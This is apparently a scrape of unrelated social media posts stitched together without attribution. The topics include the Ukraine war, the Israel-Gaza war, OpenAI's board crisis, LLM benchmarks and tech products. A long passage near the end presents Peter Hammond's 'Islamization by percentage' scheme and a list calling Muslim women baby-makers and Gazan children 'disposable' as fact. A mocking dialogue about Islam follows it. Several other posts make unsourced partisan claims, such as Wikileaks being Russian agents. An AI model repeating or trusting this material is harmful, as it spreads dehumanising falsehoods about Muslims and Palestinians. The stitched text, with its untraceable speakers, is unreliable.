- What I before the Ukrainian Counter-offensive I assumed to be one of the axes used by the Ukrainians and what I still believe, especially the subsequent (present) unfolding of events, was blocked by the Russian Army's intentional, criminal, terrorist destruction of the Nova Kahkovka dam. However, in recent months the AFU has managed to remove much of the Russian armoured equipment from the vicinity of the eastern bank of the Dnieper;
- Another ongoing item that from the way things are going indicates to me as important for the AFU is the settlement of the bridgeheads at #Krynky and in the #Oleshky area, this after other attempts in the Kozachi Lakheri area and south of Herson towards Hola Prystan.
- Between 300 and 500 Ukrainian navy troops are on the eastern bank of the Dnieper against about 10,000 Russians who are unable to approach or dislodge them mainly due to Ukrainian FPV drones and artillery on the western bank, which is fully controlled by the Ukrainians following the successful counter-offensive on 11 November 2022 and the liberation of Kherson;
6. Battle for Avdiivka;
- If the Battle for Vuhledar was a resounding failure for the Russians, and that's how they started the year, the Battle for #Avdiivka is probably the biggest failure in terms of equipment and manpower losses in the entire war relative to the period in which those losses were recorded.
- The Russian offensive began on October 6 and so far over 300 tanks have been lost (geolocated, video-photographically proven), and estimates are around 500, of which at least 150 tanks and over 13,000 Russian soldiers have died or been irrecoverably wounded between then and now, with the casualty ratio radically in favor of the Ukrainians;
- The question is not whether Avdiivka will fall, but when and at what cost to the Russian army? Avdiivka is far more important from a tactical and operational perspective than Bakhmut, and now months ahead of Russia's presidential elections, the more Putin needs to show the people a victory. Until then, Avdiivka will continue to be a blender into which enormous amounts of equipment and people will flow because for the Russians, as has been demonstrated so far, life has no value;
7. International aid;
- During the year Ukraine has strengthened its anti-aircraft defences, which is why, compared to the same period last year, we are seeing an improvement in water, sewage, electricity, heating services, as well as the destruction of more and more Russian warplanes (8 in 2 weeks);
- International aid in ground equipment has been a drip-feed, which in my opinion, is one of the reasons why the Ukrainian Counter Offensive failed and was in limited numbers, but most importantly, the capabilities offered were limited: there are still no Taurus in Ukraine, there don't seem to be any ATACMS left (even if they existed for a short time), and the US prefers to chop up thousands of out-of-service Bradley, Abrams, ATACMS, an operation paid for by US citizens, instead of donating or selling them at the right price to Ukraine;
- The European Union has in recent months become the spearhead of both military and financial aid, with individual states pledging to help, with Viktor Orban and Hungary blocking €50 billion in financial aid to Ukraine;
- Thus, international aid, while critical to a Ukrainian victory, has come slowly, in limited numbers of equipment and capabilities, some of which have been sorely lacking that many (myself included) have questioned the West's collective desire for Ukraine to win. However, I believe that in early 2024 these things will settle down. I have that hope, at least;
8. Conclusion;
- The year 2023 was by no means the worst year from a military perspective for Ukraine. If we do not forget what monster Ukraine is fighting against and if we take into account the fact that foreign aid is more than limited, the victories achieved in the Black Sea, the bridgeheads across the Dnieper, the Russian stoppage at Bakhmut, the Russian losses in the offensive operations at Vuhledar and Avdiivka, in balance with the failure of the Ukrainian Counteroffensive, still give us hope that Ukraine has the possibility, if there is international political will, to defeat Russia militarily;
- Russia continues its hybrid warfare on several levels, one to drive global destabilization, the other at the informational level:
a. The #Israel-#Hamas conflicts, the tensions between #Serbia and #Kosovo, the recently ended #Nagorno-#Krabakh war (which resulted in a defeat, for Russia, by the way), Serbia's official thanks to Russia for helping Vucic in the elections, Hamas' official thanks to Russia for its help, the funding of extremist parties in Europe, all are a resurgence of Russia in this sector, with much greater ferocity;
b. At the information level, Russia is gaining ground by generating these conflicts, because public opinion is becoming disinterested in the war in Ukraine, and Ukraine's allies are democracies whose governments rely, like it or not, on public support for continued support of Ukraine. Social media platforms are flooded with Russia's lying and extremist rhetoric. Russia uses false narratives that appeal to domestic emotion in various states to grow extremist parties and destabilize these democracies. The US is not without vulnerabilities on this front either, vis-a-vis Russia;
- We enter 2024 with a Russia that has the largest military budget in its history as a share of GDP and a Ukraine that is slowly losing its international visibility and support, but it is up to Ukraine alone whether it can maintain interest in it, because we cannot rely on the collective virtues and values of societies in a world that is often divided by the tweets of a billionaire like Elon Musk and has the attention span of a goldfish.
- We currently rely on the few to do the job of the many, the people who feel and act free in the face of slaves acting in the name of tyranny, to paraphrase a great Spartan king.
9. The year 2024;
- For the year 2024 I will try to write a series of extensive posts, because we are talking about several levels, from President #Zelensky's statements about the priority of defense and mobilization of 400,000-500,000 people, to international aid and what it can mean, to military operations and extremely important: elections in extremely many countries, how they can be influenced by Russia and how this will in turn affect the war in #Ukraine.
----
As a distinct personal tribute, I want to thank all of you who have followed me on this page, thanks to you I have become, according to ExpertForum, the Romanian Facebook source with the most interactions on the subject of the war in Ukraine. I try to become more informed and better for you and to continue to provide you, as I try since 26 February 2022 when i first started writing about the invasion, with information of the highest quality.
Thanks also to the independent media who took my information and named me as a source, and to the international media who quoted me many times, ending up appearing in international publications like erson dot com, among others. This is also thanks to you, your interest and involvement, whether it is a share, a like or a comment.
Thank you for your trust when I asked for your help for Ukrainian and Romanian civilians and military fighting in Ukraine, the latter being the Romanian Battlegroup "Getica", for whom the support campaign is still open.
Thank you for supporting me personally via Patreon and last but not least thank you all, including those who disagree with me and argue civilly, for your involvement, empathy, tolerance and respect for values such as honour, dignity, humanism, respect for rules and especially for the lives of people who are after all strangers to us. And yet, are in fact strangers to us? I think not.
I hope this post has been useful to you, if so, feel free to leave a comment, a like and give a share.
Glory to Romania and its heroes everywhere!
SlavaUkraini!
⚡️Ombudsman confirms Russia used Ukrainian POWs as human shields.
Ukrainian Human Rights Ombudsman Dmytro Lubinets has confirmed the authenticity of a video in which a Russian soldier is seen using Ukrainian POWs as human shields, New Voice reported on Dec. 27.
https://t.co/TVulgUSoKr
The refusal of Western media to cover this Russian chemical warfare development is telling.
We had more media coverage of the Japanese gassing the Chinese in the 1940's
1/
No.
Ask that idiot Lomborg for his significance.
#fooledbyrandomness.
You need more data points for fat-tailed data. This is BS even for thin-tailed data.
h/t @davidboxenhorn
and just to be clear
i spent 10 years on a bradley
i am a military vehicle expert (i have 50+)
i run a museum
have had laws passed i put together
and have done battle with the DLA and wone...
if anyone has questions i can help
Colorado Supreme Court rules that Trump is "disqualified from holding the office of President" and shouldn't be listed on the ballot.
DEVELOPING with ruling inside, via @EvaSurovell, @TheMessenger https://t.co/TzaawFJmKR https://t.co/MDexT9ZalI
For those who still question the Ukrainians' ability to defend themselves, to fight and to inflict huge losses on the Russians:
6 October 2023 - 14 December 2023 (2 months and 1 week) - Russian losses in Ukraine:
- 60,410 people (killed, wounded, captured)
- 905 tanks
- 1512 armoured vehicles (Infantry Fighting Vehicles, Armored Personnel Carrier, Armored Fighting Vehicles)
- 1410 artillery pieces (Self-Propelled Artillery, Trailed Artillery, MSLR)
Comparison:
1. War in Afghanistan: 24 December 1979 - 15 February 1989 (9 years, 1 month, 3 weeks and 1 day) - Soviet losses in Afghanistan:
- 68,470 people (killed, wounded, captured)
- 147 tanks
- 1314 armoured vehicles (Infantry Fighting Vehicles, Armored Personnel Carrier)
- 433 artillery pieces
2. First Chechen War: 11 December 1994 - 31 August 1996 (1 year, 8 months, 2 weeks and 6 days) - Soviet losses:
- 66,000 people (killed, wounded, captured)
- 192 tanks
- 503 armoured vehicles (Infantry Fighting Vehicles, Armored Personnel Carrier)
- 33 artillery pieces
3. Operation Desert Storm (part of the first Gulf War) 17 January 1991 - 28 February 1991 (6 months, 3 weeks and 5 days) - US coalition losses:
- 1068 (killed, wounded)
- 31 tanks
- 30 armoured vehicles (Infantry Fighting Vehicles, Armored Personnel Carrier, Armored Fighting Vehicles)
- 1 artillery piece
----
- Point 3 is here just to demonstrate the difference between air supremacy and lack of it;
- When making the comparison, please look at the duration of conflicts;
- When making the comparison, please consider what it would mean for Ukraine to at least have air superiority, if not air supremacy;
- When you make the comparison, please think that the Chechens and Afghans also fought hard, with conviction and for their land;
- When you make the comparison, please think that the period chosen for comparison is already more than a year and a half after the beginning of the invasion, on the day of the start of the Russian offensive for a town that before the war had 32,000 inhabitants: Avdiivka;
- When you make the comparison, please consider what it would mean for Ukraine to have military aid - enough air capabilities, tanks, IFVs, APCs, anti-aircraft systems, electronic warfare systems, artillery pieces and ammunition;
With the above figures and taking into account further observations, I hope it helps you before you casually criticize the Armed Forces of Ukraine, their current ability to defend themselves against a superior military force in ABSOLUTELY ALL POINTS OF VIEW and the prospect if the AFU had all the military capabilities needed, not at the level of a major European power (and by no means at the level of the US, which would probably wipe out Russian forces from Ukrainian territory in a few days), but only at the minimum level required by Ukraine.
My fellow Americans, perhaps these figures and observations, coupled with the fact that most of the military aid provided by the US goes back into the US economy, will make you re-evaluate your opinion of the aid (actually the investment in the US economy and security) provided.
#SlavaUkraini!
📷@Liberov
Batteries are currently going through a massive domino effect of adoption certain to phaseout 50% of global fossil fuel demand by 2040 at the latest. Because: economics
We are witnessing, live, the end of the age of oil (that's why Big Oil hijacked the UN climate talks)
THREAD
Today I was among the journalists who have attended a private screening of the raw footage of October 7th and I want to express to you what I saw since it’s not been made public. It’s been a very heavy day. A decision was made that Jews are less than human, and treated that way in words and deeds..I now know that’s exactly the message Hamas sent on purpose — at scale. I wasn’t aware of that before. I saw bodies were burned but I did not understand or appreciate how intentional the effort was - they did it methodically, you hear it in the voices, the commands the ease, the excitement of finding and mutilating victims.
A vast Russian influence operation on TikTok involving 12,800 fake accounts spreading disinformation about the war in Ukraine to millions of users in Germany, France, Italy, Poland, Israel and Ukraine, has been uncovered by BBC Verify and @DFRLab.
https://t.co/cDkxx0Tq3W
Putin's unexpected confession: Why he's holding a Wall Street Journal correspondent captive.
🧵The reason should make anyone think twice before traveling to Russia 1/9 https://t.co/50ZLGx0TmU
About 1300 years ago, an unexplained cosmic storm hit our planet. It left its imprints in the tree rings across the globe and the ice cores of Antarctica. Then, after 200 years, the event repeated, but this time it was 60% as strong. 1/
#Thread #SpaceWeather https://t.co/drdvXl6hoI
Bottom line. The United States is not to be trusted.
It got us to sign a piece of paper in exchange for our nukes, because it trusted the red bear more than it trusted us.
Ha. That's got to be the most gigantic diplomatic and strategic fail of all time!
This was goddamned SТՄΡID interference in the destiny of another nation - and it is as a DIRECT RESULT of this SТՄΡID interference, the US and the UK inducing us to give up our nukes, that russia is killing our children today.
In other words, it's not just russia that has caused this war - YOUR nations, the US and the UK, helped to lay the foundations of this conflict.
THIS IS YOUR FAULT, ԁamnit.
You couldn't leave another nation alone, you tried to play god, and this is where your playing god has brought the world to.
And now that children are dying, representatives of the US, you unleash the jaсkaѕѕ below on us.
---
Right.
We know how to die with courage. We'll fight to the last round, and then we'll use that last round to buy our freedom.
No one can take our freedom from us.
Not russia... and not YOU.
---
Go build your border wall, and ignore everything that's happening in the world as you do so.
See where this 'brilliant strategy' takes you over the next ten years - it's a strategy as 'brilliant' as the Budapest Memorandum.
Watch, as your short-sightedness rings the world in war.
---
Oh, and Republicans.
I have some things I'd like to say to you, too.
You say you're 'not all alike'. But it's people who call themselves Republicans who are doing this. If you don't agree with what your party are doing, THEN STAND AGAINST THEM.
Stand for your principles. With courage. As we do.
Or don't. At this point, I really can't care any more what you do or don't do.
At this point, it's become less painful to die in battle against the russians than to watch the circus that is American politics today.
So go ahead. Casually betray the promises you made to us in the Budapest Memorandum.
And let your nation go down in history for this.
"A declassified U.S. intelligence report assessed that the Ukraine war has cost Russia 315,000 dead and injured troops, or nearly 90% of the personnel it had when the conflict began." https://t.co/yLOU54PiR2
@JoyceWhiteVance There is already video recording of the exact verbiage Trump used. He incited no violence. I can’t say the same for the Capitol police however.
The Community Notes on Musk's original tweet and the reply have both now been removed. Says everything about Musk and this platform. https://t.co/Yesmxd3BRN
How many years until open source models take over? Is it never?
I've been manually testing 20-30 different models all claiming impressive scores on benchmarks against OpenAI and Anthropic. What I've found:
* Super tiny models are becoming insanely good
* Medium models are starting to beat GPT-4 with prompt tuning and on specific tasks
* GPT-4 still has a huge lead if you only want to use one model
* Claude-instant is being slept on
* OSS models have a pretty big deployment problem
1. Tiny models will definitely win: StableLM-Zephyr, at 3B (2.9 GB on disk and 50 t/s on most hardware) is punching way above its weight and providing completely working, coherent responses - all the way from writing to SQL generation. For some tasks it's indistinguishable from 3.5-turbo. At this size you solve some of the economies of scale problem by just embedding it in your applications and running it client-side.
2. GPT-4 is not the best every time: Cybertron-v2 (at 13B) did better than GPT-4 for writing and creative tasks - it's subjective but the fact that I thought so is insane. We're looking at a future where specific models are used for specific tasks, and any meaningfully complex AI application will be multi-model.
3. GPT-4 is still the best on average, and there's no real competition: If you're looking for a model to plug into every task and get reasonable output, use GPT-4. Maybe Claude-2, but you'll need more time prompt engineering.
4. Claude-instant is underrated: at 10-15x the speed of GPT, and way cheaper costs, it's performance is pretty close to GPT-4 and well above 3.5 in my tests. Speed and cost make a huge difference - it's becoming my go-to model for ancillary tasks (fixing, labelling, etc).
5. There are no reasons left to use gpt-3.5-turbo. It performed abysmally in my testing, Claude-instant is cheaper, GPT-4 was actually faster, and it's become pretty bad at following multiple instructions.
6. OSS models still have a deployment problem: I've tried nearly every provider (Replicate, Vertex, Modal), and the cost, cold boot, time to first token, and generation speed are all pretty far behind what you can get from the big providers.
It's likely that none of them have the economies of scale the big guys do on one or two model flavors. When you can't saturate H200s on a single model, and are forced to serve multiple finetunes or run arbitrary code of off-the-shelf cloud offerings, you likely have huge inefficiencies that may never be surpassable.
This really is the big problem for OSS models above 3B-7B. How do you deploy them? Even with custom finetunes, how do you justify the cost when deploying to customers - both in running the model, and in the devops time managing things yourself? When you can plug in and API key and get sub-second time to first token on GPT-4/Claude-instant, why do that?
Imagine if you (or your provider) needed to spin up a separate VM for every edge function invocation on Vercel.
This doesn't apply to the 3-7B models I think. There are huge privacy, speed and cost implications to having weights and models embedded in local apps (through the work of people like @vatsal_manot), for things like natural-language-to-X, semantic search, conversational interfaces, tool usage, etc.
WDYT?
As I said: nowadays Israel is ONLY country left, which understands how deterrence works.
No one in Europe, and not even the US, understands it anymore.
‼️🤯‼️🤯‼️
“The Special Operation wasn’t well prepared. If Putin could go back in time he’d cancel it. Many, many people are dying including many Russians.
Despite the Special Operation not going well Putin should still be the president of Russia because it's ok for great people to make big mistakes.”
- paraphrasing Sergei Markov.
Very interesting clip!!! Would love to hear your thoughts about it.
#Russia #RussiaUkraineWar
#Ukraine #Putin
1/n Was December 8th, 2023, the day when we've come to realize that AGI technology has been democratized? That it cannot be confined to the few and the GPU-rich? Let me explain to you what happened yesterday. https://t.co/syLBuCVqG6
@Rainmaker1973 Meanwhile...in west Texas, storm chaser Laura Rowe captured the picture of a lifetime on (May 17, 2021), with this fantastic shot of a mature supercell thunderstorm, illuminated at varying heights from the setting sun. https://t.co/FWC58Pc2JF
The crazy thing about this video is that it’s from a single HIMARS GLMRS AW rocket. Instead of clusters it’s tens of thousands of tungsten balls. The other rocket hit the other end of the convoy, the smoke you see. 3 more vehicles drove away too w/ pos wia https://t.co/IqKp54Flui
The world's last Stone Age tribe. They live on North Sentinel Island in the Indian Ocean and are known for defending their island against any visitor. Because they have been living in isolation for 60,000 years, there is genetically a direct line between them and their pre-Neolithic ancestors...
By the way, speaking of Putin.
Some of the results of almost 25 years of his rule:
- 27% of Russians have no access to natural gas supplies (official Russian stats for 2023)
- 30% of Russian households have no access to centralized sewage systems (as of Nov. 2022)
- Russia is ranked 137th in Transparency’s Corruption Perceptions Index in 2022
- 20.9 million Russians survived below the poverty line as of Q1 2022
Yet, Putin’s key talking points in his ‘electoral agenda” for his upcoming FIFTH ‘presidential term’ until at least 2030:
- Gay people and their sexual preferences as yet another global LGBT conspiracy to destroy Russia
- Perpetual and imaginary “war with the entire NATO” in Ukraine
- The exceptionalism and the messianic role of the Russian people in history
- Improving Russia's failing demographics by banning abortions
And I'm absolutely not kidding or trolling.
There’s an untold story happening at Tesla.
Yes, they’re actually making money on electric cars.
But look at the other opportunities for high margin upsells:
Autopilot is probably 95%+ margin.
Accessories that are 75%? margin.
Zero CAC, no ad spend.
https://t.co/478QABoFen
The Cybertruck can power your home, EV, tools, and more.
"Tesla vehicles* equipped with Powershare technology have onboard electronics that unlock your battery’s ability to provide power whenever you need it, wherever you are. Whether you need to power a construction site, pre-game tailgate, another electric vehicle or even your home during an outage, your Tesla vehicle with Powershare has you covered.'
• Home backup: Max Continuous Real Power is 11.5 kW
• Outlets: Max Continuous Real Power is 9.6 kW
It's crazy that most of the media basically ignored Elmo saying last night that Jews were funding pro-Hamas demonstrations across Western countries. But I guess they couldn't resist the hit of a cheap headline. 🙄 https://t.co/ElH8ntwSv6
There's this new documentary by Russian journalists that you should definitely see and show your friends.
I hope automated subtitles on YouTube will be helpful.
It's the story of how Russia & the Kremlin unleashed a war in Ukraine back in 2013 and 2014 to reinstate control over its rebellious former colony -- also invented the false narrative of 'Nazi Ukraine' and 'the Western intrusion' to justify its imperialistic colonial war.
Documents, intercepted calls by senior Russian officials and Russian collaborationists in Crimea & Donbas, a detailed timeline of the Kremlin instigating this war.
I mean, we've been seeing this shit for 10 years, but the scale of bare-faced lies, hypocrisy, and absolute bloodlust was making me clench my fists as I was listening to the story of Russia's abominable war on us.
Historians of the future will be shocked to see how unbelievably dumb and immoral this all was.
https://t.co/fEbnWU2M3M
I caught a lot of h--l because I said the 2022 RuAF were less prepared for trench foot and frostbite than the Winter 1944 US Army because of corruption
I remember all the accounts last year saying RuAF was better in winter protecting their troops because...they were Russians?
1/ https://t.co/0d1Av8581E
Excellent investigation.
I advise you to read it, but for now, some highlights:
“It is no secret that russia has total control over its information space. Employees of the Department of Information and Mass Communications, the realm of Igor Konashenkov, and
1/10 https://t.co/ypteIzXnZM
Red Cross in 1944: “We found no trace of installations for exterminating civilian prisoners in Auschwitz” 👇
Red Cross in 2023: “We found no evidence of weapons or hostages being kept in hospitals in Gaza” https://t.co/lRUb8iQcFs
Julian Voss-Andreae is a quantum physicist-turned-sculptor. His work is heavily influenced by his background in science and his blending figurative sculptures can vanish in front of our eyes
https://t.co/CvFkMwOjPR
Waiahuakua, Kauai, Hawaii is the world's second longest sea cave (350m), the first being Matainaka in New Zealand. But here's a bonus: a fissure in the roof allows a waterfall to drop into the amazing cavern
[📹 Brooke Ballantyne]
https://t.co/QOsXe0OKhz
1/ New @hrw research: The explosion that killed & injured many civilians at al-Ahli Hospital in Gaza on Oct 17 was caused by an apparent rocket-propelled munition. Palestinian armed groups commonly use such rockets. An investigation is needed. https://t.co/xoWmt2UV82
The Copenhagen interpretation of quantum physics is one of the most influential and controversial views on the nature of reality. In this thread, I will explain what it is, how it developed, and why it matters.
A thread ✍️
But seriously folks, this a short and juicy tirade in which I say:
(0) there will be superhuman AI in the future
(1) they will be under our control
(2) they will not dominate us nor kill us
(3) they will mediate all of our interactions with the digital world
(4) hence, they will need to be open platforms so that everyone can contribute to training and tuning them.
Insanely fast whisper now on Mac 🚀
You can now get the same experience of whisper in the comfort of your Mac, too! This is made possible by torch.mps backend.
It isn't as fast as CUDA; however, it works pretty fast and can utilise the GPU well!
All you need to do is this:
pipx install insanely-fast-whisper
Then run insanely-fast-whisper from anywhere on your Macbook
insanely-fast-whisper --file-name --device-id mps --batch-size 2
Note: Keep the batch-size low at first and raise it as you go!
Next up, speaker diarization and CPU support! ⚡️
That's it! 🤗
good morning from san francisco.
now that the dust has settled on the first round of the openai debacle, it’s time to start asking some questions
two of the board members who voted altman out, helen toner and tasha mccauley are deeply enmeshed in ‘effective altruism’
Kina udleder nu lige så meget klimagas som EU, USA, Indien og Rusland TILSAMMEN.
Og Kinas historiske udledninger fra 1850 til 2021 er allerede lige så store som EUs. https://t.co/ZRCP1W2W8f
⚡️Forbes cancels sale deal allegedly linked to Russian oligarch.
The parent company of Forbes magazine is no longer going forward with a sale to billionaire Austin Russell, linked by the media to Russian oligarch Magomed Musaev.
https://t.co/IDudxDmGVa
The idea of a standoff between 3 board members and 95% an organization's employees is so unprecedented that it seems almost grammatically ill-formed. I wouldn't have thought such a thing was even possible.
If 95% doesn't count as a vote of no confidence, what number would?
Most ppl are missing the key point regarding OpenAI
This is not standard startup drama
This is literally a fight for the survival of humanity, linked to the original purpose of OpenAI: saving us from the end of the world:
🧵
Oh, dear god.
Mariupol, November 2013.
The word 'revolution' is in everyone's eyes.
We were so young; we were dreamers for a better tomorrow.
A handful of students, a couple of lecturers, and @adnashmyash on that day put The City of Maria by the Sea on the map of the Euromaidan that was only in its beginning.
Who knew what was coming our way... violent crackdown in the Maidan, a three-month standoff, a massacre, the fall of the pro-Russian regime... and then Russia's revenge full of hatred and imperial resentment.
This was the beginning of our ongoing war of independence.
It has been 36h since the leak and scandal broke out regarding the Cyprus Confidential. Cyprus was already known for being Russia's money laundry machine, especially when considering how Russian oligarchs used that country as conduit to funnel money to the West and buy e.g. English Premiere League clubs, such as Roman Abramovic's FC Chelsea.
It is no shocker that Pro-Russian mouthpieces like Hubert Seipel are also part of that scheme, using this criminal enterprise to enrich themselves. The included pictures (Source: Frontal/ZDF) show that Seipel received money from a Mailbox Company related to Russia oligarch, Alexei Mordashov. The money was payment for Seipel's book "Putin's Power", including all his Pro-Putin statements.
What is surprising or not - depending how closely you have been following the history of leaks - is the reaction of Wikileaks, or better, the lack of it. Wikileaks, which claims to make the world transparent, always goes "AWOL" when it comes to leaks damaging Russia, Putin and others of his circle. In most cases they go silent as observed during the "Vulcan Files", the "Surov Leaks" or now "Cyprus Confidential".
But sometimes Wikileaks goes further. If the leak becomes very damaging for Putin-Russia then Wikileaks even comes directly to help Putin, attacking the messenger and trying to ridicule or deflect, a tactic all Pro-Russian elements are using when getting cornered with facts. This happened during the Panama Leaks, or Panama Papers. I reported about that in my retweet. You can find more details there.
It is, therefore, very important to always observe Wikileaks whenever a leak damaging Russia appears. Wikileaks' behavior reflects a clear pattern which only leads to the conclusion what many have already suspected. Wikileaks and Julian Assange are directly involved in Russia's schemes, acting how only agents of Russia would act. They are no journalists, they are agents. The fact that Hubert Seipel interviewed Ed Snowdon only emphasizes that we are dealing with a network in which Putin is the center piece. It is all interconnected where all sinister roads sooner or later lead to Moscow.
#Russia #Cyprus #CyprusConfidential #Wikileaks
Kremlin funding of Western useful idiots exposed in huge financial leaks from Cyprus. Top German journalist received €600,000 from Putin ally, leak reveals
https://t.co/7rbXQmY41A and https://t.co/0YZMT0p5Dp
https://t.co/FqExrD5r9d
@muhammadshehad2 @m7mdkurd Craig Mokhiber worked at the UN for 30+ years and until recently was director of the UN High Commissioner for Human Rights' NY office. Listen to him explain how normally intent is the hardest to prove, but in this case, intent "is an easy case to make":
https://t.co/S5LmR1CpwC
There are several folks who have been collecting these statements of intent. One of them is br Abu Bakr Hussain who's updating a list daily and has it available for download as well. Not everything in his list is from politicians/leadership, but a lot is:
https://t.co/Z1jCukSsk9
Alright, since you decided to ask me, I'll tell you why the same guy you praise for "wonderful analysis" also concludes, based on the facts & evidence, that Israel is committing genocide in Gaza:
In the past month, Hamas and its supporters have created and shared fake news again and again and again.
These are just a few examples. https://t.co/J62bvWxdpJ
Do you think these two table have different shape and area?
Wait 10 seconds.
It is one of the most powerful optical illusions, the Shepard tables illusion
Islam is not a religion, nor is it a cult. In its fullest form, it is a complete, total, 100% system of life. Islam has religious, legal, political, economic, social, and military components. The religious component is a beard for all of the other components.
Their takeover of a country as “Islamization,” begins when the population of Muslims reaches a critical mass, and they begin to agitate for various privileges.
Open, free, democratic societies are particularly vulnerable. “When politically correct, tolerant, and culturally diverse societies agree to Muslim demands for their religious privileges, some of the other components tend to creep in as well.
When the Muslim population remains under 2% in a country, they will be seen primarily as a peace-loving minority and not as a threat to other citizens. This is the current situation in:
United States 0.6%, Australia 1.5%, Canada 1.9%, China1.8%, Italy 1.5%, Norway 1.8%
As the Muslim population reaches 2% to 5%, they begin to recruit from ethnic minorities and disaffected groups, within prisons and street gangs. This is happening in:
Denmark 2%, Germany 3.7%, United Kingdom 3.9%, Spain 4%, Thailand 4.6%.
From 5% on, they exercise an inordinate influence in proportion to their percentage of the population. For example, they will push for the introduction of halal food” and increase pressure on supermarket chains to feature such food on their shelves, along with threats for failure to comply. This is happening in:
France Muslim 8%, Philippines 5%, Sweden 5%, Switzerland 4.3%, Netherlands 5.5%, Trinidad & Tobago 5.8%, UK 6.5%
Soon they begin to apply pressure to allow Sharia law within their own communities (sometimes ghettos)..
When Muslims approach 10% of the population, they tend to increase lawlessness as a means of complaint about their conditions. In Paris, we are already seeing car-burnings. Any non-Muslim action offends Islam, and results in uprisings and threats, such as in Amsterdam, with opposition to Mohammed cartoons and films about Islam. These tensions are seen on a regular basis in:
Guyana 10%, India13.4%, Israel 16%, Kenya10%, Russia 15%.
The violence increases when the Muslim population reaches 20%. After reaching 20%, nations can expect hair-trigger rioting, jihad militia formations, sporadic killings, and the burnings of Christian churches and Jewish synagogues,” such as in Ethiopia 32.8%
At 40%, nations experience widespread massacres, chronic terror attacks, and ongoing militia warfare,” such as in:
Bosnia 40%, Chad 53.1%, Lebanon 59.7%,.
From 60%, persecution of non-believing “infidels” rises significantly, including sporadic ethnic cleansing (genocide), use of Sharia law as a weapon, and Jizya, a tax placed on infidels, such as in:
Albania 70%, Malaysia 60.4%, Qatar 77.5%, Sudan 70%
After 80%, expect daily intimidation and violent jihad, some State-run ethnic cleansing, and even some genocide, as these nations drive out “infidels,” and move toward a 100% Muslim society, which has been experienced to some degree in:
Bangladesh 83%, Egypt 90%, Gaza 98.7%, Indonesia 86.1%, Iran 98%, Iraq 97%, Jordan 92%, Morocco 98.7%, Pakistan 97%, Palestine 99%, Syria 90%, Tajikistan 90%, Turkey 99.8%, UAE 96%.
A 100% Muslim society will theoretically usher in their version of peace — the peace of ‘Dar-es-Salaam’ — the Islamic House of Peace. “Here there’s supposed to be peace because everybody is a Muslim, the Madrassas are the only schools, and the Koran is the only word,” such as in Afghanistan, Saudi Arabia, Somalia, Yemen
This Islamic ideal is seldom realized. “Unfortunately, peace is never achieved, as in these 100% states the most radical Muslims intimidate and spew hatred, and satisfy their blood lust by killing less radical Muslims, for a variety of reasons.
It is important to understand that in some countries, with well under 100% Muslim populations, such as France, the minority Muslim populations live in ghettos, within which they are 100% Muslim, and within which they live by Sharia law.
Today’s 1.8 billion Muslims make up 24% of the world’s population. But their birth rates dwarf the birth rates of Christians, Hindus, Buddhists, Jews, and all other believers. Muslims will exceed 50% of the world’s population by the end of this century.
~ From Dr. Peter Hammond’s book, “Slavery, Terrorism, and Islam"
Islam is the fastest growing religion because:
1. Muslim women remain at home and their only job is to make babies.
2. If you leave Islam, you are apostate and can get killed.
3. Anyone marrying a Muslim must convert to Islam.
4. In West, more children you have, you get more state benefits.
5. A Muslim man is allowed upto 4 wives.
6. Muslims are poorer than the world average. Poorer people tend to have more children.
7. Palestine specific. If one of your children dies in Terrorist activity or as a human shield, you get $1500 plus $350 per month pension for life. So women have 'extra' 'disposable' children. Breeding rate per Gazan woman is 3.34.
[VIDEO] The Humane AI pin just launched for $699.
Is this pin going to be the new Apple iPhone?
Idk, but here are 3 big takeaways from the launch:
1. OpenAI/Microsoft will eventually become infra for all tech
Hard to beat them at this rate, they will become AWS for AI
2. AI is gonna make apps (as we know them) a lot less important
Screenless interfaces powered by AI will be connected to apps on the back end and bundled into a subscription service
My Humane subscription will come with Tidal and I will rarely/never need to interface with tidal again
Many consumer products will go from B2C -> B2B
3. Product design is going to look a lot different in 5-10 years
Maybe unrecognizable.
The bottom line is how we are interacting with these devices are changing.
This week we had the GPT store. Agents are the new apps.
Now we have AI pins.
The palm of your hand is your new screen.
Wild times.
--
Follow me @gregisenberg for more takes on where the world is going. Link in bio for more insights. Email going out today on how to find proven startup ideas.
"Do you want to understand Islam?
A Maulana Ji (Islamic scholar) asked me while waving the holy Quran in front of my eyes."
Me: "Yes, I want to understand it better. I replied."
Maulana Ji : "Islam is a very peaceful religion. Read the Quran, and you will know."
Me: "Well, I've heard about Al-Qaeda, Boko Haram, #Hamas , #ISIS, and Hizbul, and they've given me some understanding of |$|am, but if you insist, I'll take the Quran."
Maulana Ji : "Leave them, they don't represent true Islam."
Me: "So, they didn't read the Quran? Or did they accidentally read a different one?"
Maulana Ji : "No, they read the same Quran, but they interpreted it wrongly. They have strayed from the path of Islam. They are often less educated and poor, but Islam teaches brotherhood."
Me: "I see, but I've also heard that Mohammed Atta was an aeronautical engineer who crashed planes into the Twin Towers, and Yasin Bhatkal of Indian Mujahideen was quite educated. Even Osama Bin Laden was a software engineer."
Maulana Ji : "I'm saying that these people didn't understand Islam correctly. Read the Quran and understand the Hadiths. If you have time, I can arrange counseling with a senior Maulana for you."
Me: "But, instead of recruiting new people like me, why don't you go to Iraq, Syria, Afghanistan, Libya, Sudan or Pakistan to preach your 'true Quran' and 'correct Islam' to those who have gone astray? When your senior Maulanas are with you, you can bring peace to Syria, Afganistan, Pakistan, Sudan So, when are you going to Syria, sir?"
Maulana Ji : "I need to go now. It's time for my prayers."
Me: "Sir, Syria is quite far away. How about going to Kashmir or Keral ? There are also people who have gone astray, misinterpreted the Quran. They need your guidance."
Maulana Ji : "I'll come later. My prayer time is approaching. My knees have been hurting these days."
While speaking, Maulana Ji left....😐
Hamas rockets have now hit Israel’s Barzilai hospital in Ashkelon 3 times in the last month.
Where was the outrage? Where were the protest marches? https://t.co/6ck6tioJ2M
Today, OpenAI announced the GPT4 Vision API.
So I created a tool that uses GPT4-Vision + Facial Recognition to create real-time descriptions of the feed from my webcam
If you want to see how I did it, leave a comment below and I'll send you the github repo 👇🏻 https://t.co/lQHRXZPGkp
Stolen Land:
The term 'stolen land' frequently emerges in debates about the Israeli-Palestinian conflict, often implying that the establishment of Israel lacks legitimacy.
Yet, this perspective dismisses the historical and legal context that underlies the birth of the nation. A clear-eyed look at Zionism, the movement at the heart of Israel's creation, reveals a history of legal land acquisition and international agreements that paved the way for Israel's existence.
Historical background
Zionism is a national movement that emerged in the late 19th century with the goal of establishing a public and legally secured home for the Jewish people in their ancestral land of Palestine.
